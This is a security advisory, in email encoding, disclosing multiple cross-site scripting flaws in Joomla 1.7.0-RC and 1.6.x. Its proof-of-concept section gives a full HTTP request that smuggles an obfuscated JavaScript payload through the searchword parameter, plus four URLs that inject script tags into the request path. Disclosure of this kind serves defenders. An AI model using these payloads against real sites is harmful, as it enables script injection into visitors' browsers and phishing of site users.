Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS)
Joomla! 1.7.0-RC and lower | Multiple Cross Site Scripting (XSS)
Vulnerabilities
1. OVERVIEW
Joomla! 1.7.0-RC and versions of 1.6.x are vulnerable to multiple
Cross Site Scripting issues.
2. BACKGROUND
Joomla is a free and open source content management system (CMS) for
publishing content on the World Wide Web and intranets. It comprises a
model=E2=80=93view=E2=80=93controller (MVC) Web application framework that =
can also be
used independently.
Joomla is written in PHP, uses object-oriented programming (OOP)
techniques and software design patterns, stores data in a MySQL
database, and includes features such as page caching, RSS feeds,
printable versions of pages, news flashes, blogs, polls, search, and
support for language internationalization.
3. VULNERABILITY DESCRIPTION
Several parameters (searchword, Request URI) in Joomla! Core
components are not properly sanitized upon submission to the
/index.php url, which allows attacker to conduct Cross Site Scripting
attack. This may allow an attacker to create a specially crafted URL
that would execute arbitrary script code in a victim's browser.
4. VERSION AFFECTED
1.7.0-RC and all versions of 1.6.x
5. PROOF-OF-CONCEPT/EXPLOIT
component: com_search, parameter: searchword (Browser: IE, Konqueror)
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
N.B. Our previous reported issue (1.6.3) of "searchword" parameter XSS
was not fixed completely.
[REQUEST]
POST /joomla164_noseo/index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://localhost/joomla164_noseo/
Content-Type: application/x-www-form-urlencoded
Content-Length: 456
task=3Dsearch&Itemid=3D435&searchword=3DSearch';onunload=3Dfunction(){x=3Dc=
onfirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,10=
9,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,1=
16,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,=
111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCo=
de(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&o=
ption=3Dcom_search
[/REQUEST]
XSS in Request URI
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
File: ./includes/application.php
Line: 176, 181
Code: $document->setBase(JURI::current()); // instead of
$document->setBase(htmlspecialchars(JURI::current()));
http://localhost/joomla164/index.php/using-joomla/extensions/components/new=
s-feeds-component/new-feed-categories/'"><script>alert(/XSS/)</script>
http://localhost/joomla164/index.php/using-joomla/extensions/components/con=
tent-component/article-category-list/24-joomla'"><script>alert(/XSS/)</scri=
pt>
http://localhost/joomla164/index.php/using-joomla/extensions/components/sea=
rch-component/search/'"><script>alert(/XSS/)</script>
http://localhost/joomla164/index.php/using-joomla/extensions/components/con=
tact-component/contact-categories/'"><script>alert(/XSS/)</script>